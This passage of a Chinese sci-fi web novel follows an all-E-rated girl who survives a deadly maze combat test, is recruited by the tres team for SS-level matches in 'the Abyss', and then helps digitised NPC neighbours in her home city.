034号觉得这些人简直是痴心妄想,它跟着宿主这么长时间都没有看到什么大的情绪波动,你们还想看到…真是想多了。 温知初斜挎着背包,踏上台阶,走到仪器前。 她的眼前,可视化透明的数据屏上,计算着考生的游戏准入数据。 背包里的保龄球发出轻微的磕碰声。 弹幕区。 [看到长相我心痛了,这么好的脑子和颜值,希望不要参加战斗力测试,平平安安回去啊。] [太可惜了,体质只有E级。] [猜猜这个人的幸运值是多少。] [应该很幸运吧,听说实力差的都会幸运些,要不然也不会活到现在。] [那猜猜道德值…我猜也很高。] [看脸说话,看起来面善,我猜道德值肯定A级打底。] [赌五毛钱,B级,最低C级。] [废话,我就没见过几个道德低于C的,低于C的都在联盟监狱里蹲着吧…] 根据联盟数据统计,人类的道德平均区间最低值为B-63。 超过此数据可以算正常人、好人,低于该数据就该反思自己的人品是不是有些不行。 就像刚才怼温知初的那位年轻男子,道德值只有B-1。 而心中有恶的人,大多在C级,鲜少也有D级之人,基本都因为犯事被收编进联盟监狱里。 里的监狱不同于外面的监狱,反而是个好地方,算是铁饭碗了——对罪恶之人有所偏爱,联盟会训练他们其中实力强的,让他们参与进比赛,成为活体NPC。 比异种更好用。 而实力不强的,死后也可以成为人形异种。 足够的恶,可以喂养足够混乱的杀戮。 这世上,理应不存在E级道德的人。 因为只要是人,肯定拥有共情的能力,哪怕只有一丝一毫。就算不因他人的死亡而悲痛,也会因为他人惨淡的结局思虑自己的处境,只要有情绪的弱点,就存在道德的可能性。 温知初站在仪器前,等待着自己的数据,不远处,那群人也在幸灾乐祸地等着结果。 光屏亮了亮,响起冰冷的机械声,一直银白色的数据屏不知为何,突然变红了。 仪器:[数据采集完毕。] 温知初抬眼,望向了结果。 红色的数据屏展露,原本闹哄哄的大堂和弹幕区又瞬间安静了下来,一点动静都没了。 仪器: 检测到体质值:E 检测到幸运值:E 检测到道德值:E 从诞生到现在,首个全E选手出现。 · TRES基地。 看着结果,一向面瘫的将铭不禁也惊讶地扬声:“全是E?” 幸运是E,道德也是E?这…怎么可能? 坐在一旁的晏逾明望向光屏,神色淡漠而平静,似乎对这个结果没感到任何意外。 光屏上,大片的弹幕不停地在画面上滚动着,几乎将温知初全挡住。 晏逾明:“你是看人还是看弹幕?” 将铭还陷在震惊中,没反应过来:“…嗯?” 看向屏幕后,将铭反应过来,把讨论区关闭,温知初的身影重现后,画面都变得清晰了不少。 而光屏的另一端,034号若有所感地震了一下。 感觉被人盯着呢,男主的杀意值好像还波动了下,本来就高的杀意值又往上升了。 温知初看完结果,眼神停留了一瞬,踏下台阶,离开了仪器。 全E。 不算意外。 13、第13章 测试开始,温知初被随机分配到的是一个低层a级的队友。 这个中年男人似乎有些忌惮她只有e的品德,站在她身旁的时候身体往外倾斜。 而s-12的那位眼高于顶的青年男子则是对温知初更感兴趣,似乎准备在比赛中好好同她碰上一碰。 好巧不巧,这位中年男人是适才簇拥s-12的a级之一。 看到这儿,034号只有一个想法。 完了。 被人盯上了,队友还倒戈了,这怎么玩儿? 签完生死协议后,温知初戴上兜帽,依旧斜挎着背包,推开测试场馆的门。 密闭而黑暗的气息铺面而来,身后的队友犹犹豫豫地跟了过来。 场地非常冷,几乎是零下,一张嘴,都在冒白气儿。 是迷宫。 考生全都及进门后,场馆的门被关上,时长为六小时的倒计时正式启动,红色的数字闪动。 广播:[tres战斗力测试正式开始,全部考生已入场。] 广播:[本测试为夺杀异种制,二人小组协作型短时赛。] 广播:[请考生注意考试时间和各自生命安全,预祝各位在不受伤的情况下通关成功。] 在正式开始之前,每个人的眼前都出现一面透明的数据屏。 数据屏:[请随机抽取你的武器。] 按动屏幕上的红色按钮,大转盘开始转动。 有人抽中了棒球棍,有人抽中了铁锹,最幸运的考生抽中了枪支。 温知初的队友抽中了电棍,而温知初的手中数据化出一把… 塑料刀。 034号:[……] 队友:[…………………………] 温知初低头看了眼手中的塑料刀,塞回口袋,她往前走,淡淡道:“跟上。” 修长的身影躬身进入人工林迷宫中。 · tres这次提供的测试场馆采用人工林作为迷宫,结合树木、灌木和假山干扰考生视觉。 场馆分安全区,挑战区(八个关卡,异种分布),以及出口区。 迷宫中央的重要分叉处设有观景塔、信号点和奖励点。 出口停着一排救护车,配备急救人员,确保考生休克后立马送诊。 不到两个小时,已经送出来二十几个浑身血淋淋的考生。 三个小时后,那位被押宝最多的s-12考生也被送出来了,他断了一支手臂,眼睛空了一只,神情恐惧地不停尖叫,显然遭遇了异种。 四个小时后,场馆里已经剩下不到五十名考生,大量考生主动放弃测试。 场外的监考官们看着出口来来往往的担架,担心之余,更多的是觉得惋惜。 这些考生里不是没有好苗子,可惜的是,他们还太稚嫩,在还没有足够能力的时候来参加这种量级的测试,等待他们的只剩下失败和受重伤。 tres要的不是人才,是天才。 有人突然出声:“等等…那个e级。” “那个e级…她、她还在!” 时间一分一秒过去,所有人都不可置信地望向场馆的出口。 不会吧…不、会、吧?! 幽暗的出口处脚步声响起,那道纤瘦修长的身影出现,她的右手拖着已经晕倒的队友,一步步往外走。走到出口外,过于亮的灯光让她眯了眯眼。 医护人员接过昏死过去的队友后,她站直了身。 温知初干干净净地进去,干干净净地走出来,身上没沾上多少血,只有牛仔裤上印了几个斑点。 她的手腕上系着一根电棍,轻轻摇晃着。 倒计时的指针归零,广播里响起冰冷的机械声:“测试结束。” 广播:“测试通过者已诞生。” 广播:“恭喜考生温、知、初通过测试。” 温知初抬眼,那张温和却冷淡的脸映入了众人的眼中、无人机的摄像头中、直播的大屏中。 从此时此刻起。 ‘温知初’这三个字,正式踏入<深渊>的视野,成为不可抹灭的痕迹。 · 不用说,星网又瘫痪了。 tres测试优胜者的笔试试卷和战斗力测试视频散布至星网的各个角落。 温知初三个字以雷霆之势席卷所有人的视线。 #e级之光 #幸运e #全e套餐 #tres新增e员大将 #e鸣惊人 …… 词条爆了又爆,爆到什么程度…爆到温知初这位考生测试结束后喝的草莓牛奶的牌子被秒扒了出来。 不仅被扒出来,而且瞬间售罄,网购渠道接连下架。 星网的讨论区挤满了弹幕。 [不是,你们给我留一瓶牛奶啊。] [草莓味没了就算了,怎么连巧克力味、香草味都没了,等等…怎么连香菜味都没了,你们是魔鬼吗?] [你们看了迷宫测试回放吗,我老婆帅呆了。] [楼上的,她是我老公,我已经重刷三次回放了。] [楼上的两位,温知初还未成年,你们注意点言论。] [竟然还未成年,这么年轻,未来可期啊。] [e人血书tres千万不要申请成为ss级战队,我可不想刚认识她就看不了她的比赛直播了。] …… · tres基地。 射圃。 老钱看着射箭场和自家的主力队员,用手挠了挠脑袋:“真是活久见。” 老钱:“为了准备ss级赛事,咱们也是训练上…弓箭了。” 因为ss级赛事的场地和武器实在是经常…出其不意。 也不是一定会用的上弓箭,但多做些准备肯定没错。 训练官围着老钱,一起讨论新训练日程的各项数据。 这射圃,还是半个月前加急数据化建造的。 已经到休息的时间,主力队员纷纷坐到棚子下歇息,邱任望屁股一挨板凳,立马打开光脑回顾昨天的战斗力测试直播。 一群人围过来看,邱任望嘴里的‘卧槽’没有停过。 他们大多已经看过一遍了,其中对温知初改观最大的最属章诎。 他眯了眯自己的狐狸眼,从邱任望的手里接过光脑,自己占据最佳观赏视野。 邱任望:“狐狸!” 邱任望:“不是说不看好吗!” 脸疼不疼啊! 章诎盯着屏幕,低声呢喃,眼中带着兴奋的精光:“好苗子,好苗子…” 四个脑袋凑在一起,研究这个大概率即将成为他们队友的e级之光。 这…真的是e级吗? 屈孚宁望向射圃,低声道:“要喊老大一起来看吗。” 射圃的沙地上立着一道高大修长的身影,站在一号靶子前。 邱任望:“老大肯定不感兴趣,我们先看吧。” 测试的视频真的常看常新,漫长却充满精彩的节点。 有关温知初的节点,可以总共分成六个,每个节点都有铺天盖地的弹幕飘过。 第一个节点,是她随机分配到塑料刀的时候。 [不是吧,这么衰?] [塑料刀能干什么,休息下来的时候掰断了放松放松?] [不愧是幸运e。] …… 将铭认同:“确实很倒霉。” 第二个节点,在迷宫的第二关。复杂的机关阵需要考生找出机关的核心点,许多人拧错铜轮的位置,要么被机关带回了测试的起点,要么被投掷到异种区。 一时间惨叫阵阵,人太多,导致大家很难静下心来观察机关。 那位s-12的考生就是卡在了这一关,被投掷去了地下异种区,搏斗了很久被迫放弃比赛。 越是动脑子的时候,越应该冷静。 混乱中,温知初蹲下身,指尖拨开一排伪装的苔藓,凝神望向盘错复杂的地表纹路。 其他考生都知道这是线索,是提示,他们赶忙跑来温知初的周围,来抢答案。 看到了又如何,图纹根本看不懂。 在他们还没有看明白这个提示是什么意思时,温知初退出了人群,显然已经有了思路。 右旋三圈,左回五步,锁点在拐角… 温知初凭借记忆用塑料刀卡住了铜轮,所有的齿轮卡死,通路打开。 [原来塑料刀的用场在这里!] [其实位置找对了,弄根树枝都能卡住机关。] [你们看明白这个纹路是怎么推导出锁点位置的吗。] [看不懂啊,我等tres官方出答案,朋友们,我先快进去看第三个节点了…] 第三个节点,在第三关。 通道的尽头是一面不可逾越的高墙,所有人都认为e级考生会止步于此。 开玩笑,e级什么体质,他们能不明白吗… 温知初抬头望墙,盯了几秒,观察墙上的抓点。 她往后退,一个助跑,手指攀住墙上的凹凸处,脚蹬了几下,瞬间攀上墙顶,没有一丝喘息。 她甚至还抽空理了理自己脖子间的灰绳。 她的队友正费力地爬在半途,看起来随时都有可能掉下去的战栗模样。 温知初单手抓住墙缘,朝下看了眼还在发愣的队员:“上来。” 她抓住队友的衣领,轻而易举地将人拽了上来,轻轻一推,队友如同沙袋一般掉到另一侧。 趴在地上的队友目瞪口呆,温知初从高墙上屈膝落地,语气平静:“把你的电棍给我。” …… [不是,这真的是e级体质吗,她体能这么好,其他地方该有多弱,才能被评判为e级啊?] [这么一对比,我这个b级像是假的,我爬楼梯现在还大喘气呢。] [去看看第四关。] …… 接下来的所有节点全都有关实战,不停有的考生从拐角处扑出来,试图偷袭他们;有异种匍匐而出,围聚而来。 人的气息、异种的气息在暗处梭动。 电棍是击人不见血的武器,晦暗的光线中,叫温知初的这个考生永远能出乎常人的意外。 动作干净利落像是被训练了千百遍。 无论面对偷袭的考生还是异种,完全是游刃有余的。 修长的人影还没被看清,又隐入了黑暗中。 比起那些尖嘴獠牙、三条腿的怪物,她莫名看上去更像是异种。 太过镇定了,镇定到让人有些害怕。 棚子下,一直沉默不语的屈孚宁突然开口:“她是天生的vent位。” 射圃四周围是半人高的竹篱笆,中央平整的沙地上,每个靶位间隔二十步。 靶位的后方竖着人工绿泥墙,可以阻拦失误的箭矢。 箭靶上涂有红黄蓝白黑五环,最中央的红心圆不过巴掌大小。 空旷的沙地上,晏逾明站立于箭靶数百米开外,拉满弓,弓背光滑如镜,反射午后的日光。 三指扣弦,左臂直,右臂曲。 “嗖!”箭矢破空而出,几乎是一瞬间,直中靶心,钉在十环的位置上。 恰如昨天测试时,温知初从高墙上跳下,正落阵眼的动静。 准确而利落。 晏逾明淡漠地眯了眯眼。 靶子震动,扑朔出尘灰。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 14、第14章 优胜考生温知初被安排到tres旗下的酒店住了一晚。 期间,不断有相关人员带着检测仪器进进出出。 首先是检测她是否是温知初本人,是否服用任何不易察觉的体能测试作弊药物。 而后,来了至少三波的人,重复检验她的体质等级。 所有检测人员都抱着‘优胜考生绝对不可能是e级’的心情来,而后又哑口无言地带着数据离开。 身着白袍的检测人员们往外走,步伐很快,议论纷纷。 白袍一反复看数据:“真的是e级…真的是…” 白袍二:“都已经换不同组检查过三次了,设备也换了这么多次,测试结果全都是e。” 白袍三:“这个温考生在测视里表现得那么好,体能和战斗力都是a级往上的表现力,却只测了个e…只有一个可能…” 白袍一接过话:“也就是除了战斗力和体能方面,她肯定在某方面有极弱的项,把整体等级给拉了下来,只不过现在没有暴露。” 这么说来,温知初这个考生,作为战队队员来考量,极大收益的基础上,同时附带…极大的风险! 后来又来了一批人,这回带着一沓量表和心理专家来的。 比起体质e级,道德e级这个事实显然更让他们担心,道德等级低成这样的人,真的适合在团队里活动么? 这次检查快多了。 他们离开的时候,声音在楼道回响。 “看起来非常正常的一个孩子。” “很有礼貌。” “不管数据等级如何,与人相处不是问题,虽然话不多,但是善于和人沟通。” “谁能想到是全e….这孩子身上bug真多…” “tres不就是bug聚集地么,特别一点不是坏处…” “我反而觉得道德e是个优点,起码如果未来进入ss比赛,不容易怵…” 一晚上过去后,快到中午的时候,tres的主力教练来了,这回,只有他一个人来的。 老钱是一个颇有气质的中年男人,行事干练中有亲和力,他上来先和温知初握了握手。 老钱热络:“昨天没少折腾吧,休息得还好?” 温知初:“还行。” 老钱笑道:“哈哈哈你们年轻人身体就是好,换我估计都要闹了。” 老钱先礼后兵,两人聊了会儿家常后,老钱的表情严肃起来:“具体的事,我们去会议室聊吧。” 温知初略微点头,拎起背包跟上。 酒店六楼的会议室规模不大,里面设的是个长桌子,两人坐在会议桌两端,距离拉远了不少。 会议室里较冷,温知初把窗帘拉开,打开窗,坐回位置上,慵懒而温和地坐直。 背包被她挂在了椅背上。 老钱观察到这一点:“你这背包你在哪儿都带着?” 测试的时候都背着。 温知初:“嗯。” 并不解释。 034号偷偷蛐蛐:[这里面是她的储备粮,能不随身带吗。] 老钱发现这孩子话是真的不多,但挺有礼貌的,他说话的时候一直认真地聆听,讲到不利于她的点,也等他把话说完了,才开始解释。 看起来比他手底下那些二十好几的还要稳重。 “对了。”老钱知会道,“我们总集团的老板也在终端另一端旁听,小温,你不介意吧?” 034号:[吴于丘?] 温知初略微抬起头:“不介意。” 从进会议室时,她就听见有微弱的联讯电流声。 谈话时,对面还会传来轻微的,有若金属弹壳在桌面上磕碰的声响。 老钱一个老江湖:“小温,问个好,给老板留个好印象。” 温知初淡淡道:“老板好。” 对面并没有传来任何应声,弹壳似乎又弹了一下,发出冰冷的金属声。 老钱:“继续谈正事。” 接下来老钱的话,就完全出乎034号的意外了。 说实话,034号虽然惊讶于宿主的e级之身能做到这种程度,但测试结束后,它已然不再在意‘e级’这个标签。 它觉得宿主配得上tres。 但老钱说,不合适。 老钱神情肃然,翻看纸板上的资料:“小温,你很好,非常好…但不适合我们tres。” 温知初沉默片刻,她抬眼:“因为风险?” 老钱摇头:“tres消化风险的能力很强,我们不是因为这一点觉得你不合适,相反,我们考虑的是你本人的生命健康会面临危险。” 他抽出一个档案,推到桌子中央。 档案上标记着四个字:ss战队。 老钱:“tres年初申请成为ss级战队,就在不久前,审批下来了。” 老钱:“小温,不用我说,想必你也能明白ss比赛意味着什么。” “危险。”温知初开口,“以及不可控。” “是。”老钱点头,“所以我们觉得你不适合tres。” 老钱:“你的e级风险,如果是以前的tres,完全可以消化。但现在,我们以后要去参与的是ss级的赛事,e级的损耗风险太大,对你而言,太过危险。” 会议室里,一时间沉默起来,窗外风吹树梢的声音都变得清晰。 出乎老钱的意料,温知初并没有急着证明e级的风险是可控的,而是先提出一个问题。 温知初:“tres为什么要申请进入ss战事?” tres手底下的这群主力队员能在s级赛事里如鱼得水,甚至能保持零伤亡率,通过直播和连胜率平稳、大量地盈利。 可以说,s级战事对于这些主力队员来说,是舒适区。 ss级战事不同,直播渠道一下缩流成千分之一,盈利缩小,死亡风险急剧增加。 通俗说,钱少事儿多容易死。 大多数人都不明白在s赛里战无不胜的tres,为什么一定要去ss赛找不舒服。 温知初大概知道原因,但她还是问出了口。 老钱:“你觉得为什么?” 温知初:“只有在利大于弊的时候,人们才会去冒险。” 老钱看了眼温知初。 聪明孩子。 老钱:“我们身处<深渊>中,其实原因、又或者成为目的只有那么一个——” 他道:“逃离<深渊>。” 当初有传言说只要体质等级达到s-99就能脱离<深渊>,但是…这一点被现实给否认了。 他手底下有不只一个满级选手,他们根本出不去。 赛事等级越高,离<深渊>的世界真相越近。 他们不能一直停留在s赛的舒适区里。 <深渊>对于弱者来说是一场大屠杀,而对强者来说,就是一场慢性毒药。 电子剥离痛也许能止痛,但造成的神经伤害是不可逆的,他们…还能耗多久。 老钱:“往大公里说,我们是想找逃离<深渊>的办法,带大家出去。” 老钱:“往小利里讲,我们自己也得出去啊,耗不起了。” <深渊>表面和平的秩序下,已经死了不知多少人。 星网里的欢声笑语,更像是一声声黑色幽默。 老钱:“小温,ss赛的危害你是知晓的对不对?” 温知初:“我知道。” 老钱:“对身体和精神会造成不可逆的影响,和我们现在所能体会的生死痛苦并不是一个维度的,很有可能求生不能求死不得,还有可能…一辈子都再也出不了<深渊>,永远留在这里。” 之前在星网有一个视频就封禁了——正是一支被团灭的ss级战队。 这个战队里全都是高阶s的队员,全队被异种钉在了滚烫的熔岩峭壁上,每一日,他们被刷新生命,饱满的血肉缓慢地被熔岩融化,被异种切割。 日复一日。 老钱第一次看那个视频吐了。 他想,如果自己带着队能遇到那群人,他肯定会给他们一个痛快。 老钱:“所以我觉得你不适合。” 老钱:“你的体质等级太危险了,我不希望我手底下有任何一个队员死在ss赛里。” 老钱说了真心话:“除了e级的体质外,小温,你一切都很好,相信其他s级战队看了你的表现,肯定会邀请你过去,你在他们那里,绝对会比在我们tres舒服一百倍…” 他抬头:“有s级战队找过你了么?” 有。 很多。 终端的信息源源不断。 温知初并没有回答这个问题。 这并不重要。 重要的是… 温知初:“谢谢你告诉我这些。” 她的双手安静地放在膝盖上:“但我还是想加入tres。” 老钱惊讶地睁大双眼,但惊讶中带着些了然。 他以为这个孩子听了这些话后绝对不会再加入tres,但是出发之前,老板跟他说过。 “她绝对会来。” 老钱:“小温,你还小,也没有监护人替你把关,这个决定很重要,你不能随随便便定下…” 温知初:“钱教练,这是我深思熟虑后做出的决定。” 她温和地低声道:“希望你不要戴着年龄眼镜看我。” 她慢条斯理:“我的个人生命安全我自己会维护,tres所要做的,是考量我是否适合这个队伍。” 老钱沉默着。 其实…那可太适合了。 温知初:“说实话,我想加入tres的原因之一,就是想要离<深渊>的真相更进一步。” 老钱:“你也想离开<深渊>?” 温知初略微挑眉:“有谁不希望离开这里?难道在教练看来,我是那种希望留下来的人?” 034号插话:[是的。] 老钱:“你继续说。” 温知初:“对于e级体质,我没有太多为此辩护的,我一直很希望提高等级,但可能因为一些不可探查的原因,我一直卡在了现在的等级,无论我是否进入tres,我都会努力提高这个等级。” 老钱:“这点确实是奇怪。”都测了多少次了,还是e级。 可惜就只可惜在了这一点。 “以上。”温知初冷静道,“我还是希望能加入tres战队。” 老钱的手指在纸板上敲着,脑子里很多想法,几分钟过去,他像是做了什么决定。 可以试试! 为什么不可以呢? 没有更好的苗子了! 老钱一时间头脑风暴,脑海中已经浮现不止十个针对性训练体质等级的方案。 他原地踱步,而后像是想起了什么,按动桌上的终端:“小温,你见见我们老板吧,对于他的身份,你可要保密啊。” 终端被按动,光屏投映而出,亮在了温知初的身后。 034号:[老板不是吴于丘么,有什么好隐瞒的…等等,来的不会是实权老板吧…] 温知初的身影顿了顿。 她的身后响起熟悉的低沉声音:“把合同给她。” 光屏上,显露出高大修长的身影,他坐在椅子上的身形略微往前倾,骨节分明的手指拨动桌上的弹夹,眼神一动不动地定在温知初身上。 眼神中,全然都是侵略性的打量。 温知初就算没有回头,也能感觉到自己被盯着着。 这种打量,不知已然维持了多久。 老钱把合同放到温知初面前:“小温,你好好看看,有什么你觉得不行的,跟我说。” 他道:“对了,你坐这儿来,正对着光屏,跟老板打个招呼。” 合同换了个位置。 弹夹在桌面轻声磕碰,晏逾明目不转睛地盯着她。 温知初抬眼,颔首:“你好。” 有些尴尬。 她坐直身,忍住去搓揉耳垂的冲动,低头看合同。 老钱:“老板,你说说感想?” 晏逾明垂眼望着温知初:“除了年龄太小,都挺好的。” 老钱:“还在长身体,营养餐那块我确实得让人注意。” 晏逾明:“小朋友。” 温知初的手一顿,差点在合同上画出道印子,她抬眼,眼神淡淡的:“嗯。” 老钱:“!” 他之前喊小朋友时,小温可不是这态度啊,她似乎不喜欢别人喊她小朋友,直到他改为‘小温’后,对话才正常了。 怎么老板喊就应了呢。 就是看起来冷冷的,好像还有些不耐烦。 他记得小温刚才态度没这么冷淡啊… 晏逾明把玩着手中的弹夹:“你加入tres,真的是因为想要脱离<深渊>?” 034号腹诽。 不是。 她撒谎了。 是因为你,还有因为很多更重要的事,全是秘密… 温知初抬眼,眼神却避开了晏逾明:“是。” 浓密的睫毛遮掩了她真实的眼神。 她的手腕定了定,在合同的末尾签上自己的名字。 老钱开口:“欢迎加入tres大家族。” 那声低沉的声音亦响起。 “欢迎。” 带满了说不清道不明的意味。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 15、第15章 正式去tres之前,老钱给了温知初一天时间回去收拾行李。 温知初回了a市。 这次路上没有赛事征用线路,车程只用了两个小时,赶着清晨落地。 温知初没有回家,先去商场购置生活用品。 034号:[宿主,你为什么不在b市买啊,那里方便,还不用运回去。] 因为…b市是中心城市,物价比a市高出三四倍。 温知初拎着背包踏入人群中,言简意赅:“没钱。” 034号:[……] 其实也没买多少东西,不到九点宿主就回到了公寓。 公寓里,似乎还有一股若有若无的蒲草香气。 宿主打开门窗透气,接上电话线后,不断有电话留言接进来。 都是街坊邻居的留言,大多数都是邀请她去吃饭,或者参加集市聚会的。 使用电话这种复古通讯工具的,要么就是<深渊>的原npc,要么是电子尸体(新npc)。 034号看着宿主坐在沙发上,耐心地将一个个电话留言听完,像极了在清游戏界面的信息栏。 大多数人都不会像宿主这般耐心,能把游戏的npc都当成真人对待。 今天是个雾霾天。 透过窗户往外看,日光无法穿过浓厚的雾气,朦胧若网一般被隔绝在树林华盖之外。 由是,日光被切割成摇摇晃晃的千万缕。 宿主出门了。 034号觉得她应该是下楼去见那些街坊邻居、摊贩了,因为刚才的电话留言中,有不少人在请求帮忙。 有的是家中设备坏了,有的是被账目难住了,有的是遇到了些生意上的小问题。 纤瘦修长的身影走在街道上,一双长腿慵懒地往上坡迈。 行人在雾气中穿梭,身体四周似乎也附上了雾气。 路上,不少人在和温知初打招呼,她一一应着。 034号通过人物数据板,发现了一个黑色幽默般的现实。 宿主离开这里一个多月,这些人的人物信息变了不少—— 有不少活人变成了电子尸体,成为了<深渊>的新npc。 他们的性格没有什么大变,依旧和气地笑着,只可惜这只不过是死前那一天的记忆被数据化了,不断地被回放。 已然又是一具具新的空壳子。 这里没有发生过什么大的动乱,为什么会死呢… 大抵是…没有熬过电子剥离日吧。 这就是<深渊>。 看起来套着一层秩序,但其实秩序下,都是如同被蚁壳般被碾碎的人命,填满这个空壳世界的每一个角落。 就如今日这一场大雾般。 表面看起来,甚至还有些浪漫主义的美。 温知初躬身进了一间低矮的房子,轻车熟路地换上了拖鞋:“奶奶,我来帮你修暖气。” 一个面容慈祥的奶奶笑着迎了出来:“小温,你终于回来了。” 这是一个npc奶奶,行动时,数据的流动在034号眼中清清楚楚。 在温知初修暖气的时候,奶奶捧来了热巧克力,温知初低头望了一眼,仰头喝光了。 明明是已经开始热起来的五月份。 奶奶搓了搓手:“今天好冷啊。” 她道:“本来不想开暖气的。” 她又搓了搓手,数据眼望向窗外的雾气:“可今天真的是太冷了…” 正如《仿生人会梦见电子羊吗》一般,npc…真的能察觉到天气的冷暖么? 034号思绪万千的时候,温知初已经把漏水的暖气修好了,拎起背包前往下一户人家。 这次是具电子尸体的大伯。 大伯腿脚有问题,爬不了高,电灯泡的感应器坏了没办法修理。 大伯不好意思地搓着脖子:“今天刚好坏了,用着不方便,还好小温你来帮忙。” 034号知道感应器肯定早就坏了。 电子尸体只有一天的记忆,就算是一个月前坏的,也只觉得是今日才坏的。 这些电子尸体为什么能记住宿主呢…也许是因为宿主是为数不多会耐心回应他们的人吧,哪怕这些问题日复一日地重复,宿主也不会避开他们。 温知初站在梯子上,按着螺丝刀把感应器卸下来,她跨在梯子上观察手中的感应器,打开线路板把熔断的铜丝重新接回去。 没过一会儿,她从梯子上轻轻跳下来。 屋子里的所有电灯都恢复正常的亮度,温知初拒绝了大伯的午饭邀请,走出门。 034号在心理默念着宿主的道德值,防止自己真的以为宿主是个大善人。 但…说实话,做人之事论迹不论心,单从行为来看,没有人会觉得宿主不是个好人。 034号:[……] 当然,刀疤脸和郭盂除外。 谁叫他们俩道德值低于c-26,在宿主的食谱上呢。 034号:[……] 宿主已然去了一家咖啡馆,她不是去喝咖啡的…那不在她的食谱范围…她是去帮忙收拾咖啡摊的。 咖啡馆的主人是个年轻的姑娘,这回是本土npc,今天客人多,她和店员两个人忙不及,宿主顺手帮一把。 太阳伞下有很多没有来得及收拾的餐具杯具,宿主走过去,动作很快地全都收拾回去。 忙了三十分钟左右,离开,宿主又去了水果摊,帮npc算账目。 而后又去了营养液店主那里,帮她给供应商打电话,把有问题的货给退了回去,重新换了一个供应商进货。 然后又去了联保局,帮一个npc奶奶申请养老金。 …… 034号:[……] 034号:[…………………………] 它宣布,抛却道德e这个事实外,没有人比它的宿主更像个大善人了。 没有人! 快到黄昏的时候,事情终于忙完了,宿主终于去处理自己的事了。 她去了之前打工的保龄球馆。 穿过霓虹灯闪烁的街道,在一片嘈杂的巷角,便是宿主之前工作过的保龄球馆。 半地下,典型的后现代风格。 进门下楼后,能闻到炒年糕和炸薯条的味道,保龄球击打的声音传来。 温知初下楼的时候,扣上了卫衣的兜帽。 老板娘提前知道她今天会回来拿东西的消息,一见到到她,便迎了过来,静悄悄地拍了拍她的肩:“来了?” 老板娘虽是个铁公鸡,但深知小温的好。 在小温走后,小温岗位的缺失让她头疼了很长时间。 温知初礼貌地颔首,简短道:“来拿东西。” 在来保龄球馆之前,034号一直以为宿主在这里的工作是打杂之类的,现在才知道,宿主之前在这里…是保镖! 怪不得老板娘对宿主通过测试并不感觉到有多惊讶。 034号:[……] 不是,你招童工啊! 工资还那么低…奸商! ‘奸商’带着宿主往里走:“你的东西还在老位置。” 两人经过保龄球区时,一群年轻的学生正在欢呼地击掌,起哄输了的人请客。 在嘈杂声中,老板娘推开了员工储物室的门,神情惋惜:“小温,你真的不回来了?” 温知初躬身,找到自己的储物柜,按下指纹:“嗯。” “滴答”一声后,储物柜打开。 老板娘絮絮叨叨的,说起很多人都舍不得她,宿主应着声,但注意力全然不在此。 储物柜里,有一个大型的行李箱,温知初蹲下打开行李箱,检查箱子里的东西是否齐全。 满满当当的,全是有关yu的周边,用密封袋装得整整齐齐。 034号:[……] 检查完后,行李箱被关好,立起。 温知初把自己的指纹从储物柜里取消。 老板娘一愣:“就走了?” 她道:“去咖啡厅坐会儿呗,我女儿嚷嚷着要见你,她等会儿从学校回来,见不到你肯定要跟我闹好几天。” 她说:“她给你画了好几幅画儿呢,说要带给你。” 老板娘的女儿也是具电子尸体,死于五年前。 不过老板娘给她买了记忆芯片,一直提供能源的话,可以保留记忆和生前行为痕迹。 记忆芯片供养起来十分昂贵,这也是为什么老板娘如此一毛不拔的原因。 温知初没有拒绝,她坐到了咖啡厅的角落,懒洋洋地倚靠在椅子上,修长的双腿抵在行李箱边缘。 她低头看着终端上的电子书。 正看着,终端弹出一条信息框。 未命名:[恭喜你,通过了测试。] 温知初点进了消息框,反应了会儿…是之前在测试游戏里遇到的那名队友,用电子音的那位。 消息是两天前的,她的终端是最老型号的,这会儿才滞后地把消息给弹出来。 随之弹出的,还有网页端给她的账号前缀加上tres的官方信息。 温知初瞥了眼,点进了信息框,打字回复。 tres-草莓牛奶挺好喝:[谢谢。] 对面的头像是灰着的,温知初退出信息框,老板娘的女儿正好来了。 小姑娘蹦蹦哒哒地坐到她对面。 咖啡厅昏暗的光线下,温知初嘴角略微提起,她坐直了身。 · 收拾完a市的一切,温知初回b市。 又是一个清晨,她正式地前往tres基地。 tres基地占地三公顷,非常庞大,车停在基地门口的时候,老钱赶紧来接应,生怕把人给弄丢了。 基地的外围并没有围上铁栏和监控摄像头,反而是几个开放式的停车场和道路宽敞的入口,周围栽种着修剪整齐的绿树,花草错落有致。 几辆车安静地停在路旁,偶有工作人员匆匆走过。 温知初跟着教练往前走,她行李并不多,老钱非得帮她拿。 通过大门进入后,一条笔直的宽阔道路延伸开来,地面铺设光滑的石板,路两旁是一排排整齐的平房。白色墙面,深灰屋顶,窗帘略微拉开,隐约可以看到里面的生活气息。 老钱介绍道:“当时基地建造的时候尽量往生活化方向靠,其实这一片都是后勤区和研究所,有很多实验室和仓库,主要都是放资料和武器的,工作人员和非主力队员也住在这一片。” 健身房、餐厅、医务室都是齐全的。 老钱:“看见最高的那片别墅群了吗,贼大那片。” 他道:“这个就是主力队员住的地方了,中心楼用来生活,其他的楼用来训练和演练…是不是看起来挺不错的?” 温知初抬头。 今天也是个大雾天气,别墅在雾气中若隐若现,路灯开着。 主建筑外墙呈现冷淡的米白色,前后方都有一片不小的庭院,池塘和游泳池环绕别墅铺陈。 典型的庄园别墅设计。 别墅的正面由不同的落地玻璃组成,黑框和细纹加深轮廓,每一层至少有五六米高,很适合站在里面往外赏景。 踏上大理石的台阶后,正门前还有个直径五米的圆心路,别墅的支房便是以这个圆环绕而分散的。踏上台阶后,能看到东边最低的支房上长满了藤蔓。 别墅的主支,也就是大堂的那一支房,一层和二层打通了,有若教堂,天花板高高的,巨型的吊灯低垂,给人一种庄严的感觉。 正门也便在这里了,进出别墅都要经过这里。 厚重的正门高达六米,黑框玻璃泛着冷光。 法式的灰色屋顶缓和了这栋庄园别墅过于肃穆的气质。 老钱:“是不是看起来有点儿压迫,其实我们平常不走这个门,正门基本上用来观景用了,走旁边那儿的小门比较舒服,不过今天为了欢迎了你,特意把正门开了,也算是新人新气象…” 温知初略微点头:“挺好看。” 迎宾机器人接过了老钱手中的行李箱,他抬起手,把工作牌对准机器人的感应器:“昨天回a市了?” 温知初:“嗯。” 老钱:“什么时候回来的?” 温知初:“昨天晚上。” 老钱把人往里领:“对了,之前是不是有个采访,采访到你来着?” 老钱显然是看过:“我记得你说你挺喜欢将铭的比赛打法。” 温知初回忆了会儿才想起这事:“…是。” 被送贴画的那次。 034号:[你被骗了,欣赏的另有其人啊。] 